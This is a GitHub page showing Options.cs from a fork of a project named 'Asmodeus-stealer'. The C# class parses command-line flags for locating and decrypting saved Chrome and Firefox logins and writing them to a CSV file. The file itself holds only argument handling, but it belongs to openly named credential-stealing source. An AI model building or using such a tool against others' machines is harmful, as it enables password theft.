forked from exploitblizzard/Asmodeus-stealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Options.cs
48 lines (39 loc) · 1.35 KB
/
Options.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
using CommandLine;
namespace UploadAFile
{
class Options
{
[Option('c', "chrome", HelpText = "Locate and attempt decryption of Google Chrome logins")]
public bool Chrome { get; set; }
[Option('f', "firefox", HelpText = "Locate and attempt decryption of Mozilla Firefox logins")]
public bool Firefox { get; set; }
[Option('a', "all", HelpText = "Locate and attempt decryption of Google Chrome and Mozilla Firefox logins")]
public bool All { get; set; }
[Option('p', "password", HelpText = "Master password for Mozilla Firefox Logins")]
public string Password { get; set; }
[Option('o', "outfile", HelpText = "write output to csv file")]
public string Outfile { get; set; }
[Option("help", HelpText = "Display Help Message")]
public bool Help { get; set; }
public Options()
{
Chrome = false;
Firefox = false;
All = false;
Password = "";
Outfile = "";
Help = false;
}
public bool CheckIfNoArgs()
{
if ((Chrome.Equals(false)) && (Firefox.Equals(false))&& (All.Equals(false)) && (Help.Equals(false)))
{
return true;
}
else
{
return false;
}
}
}
}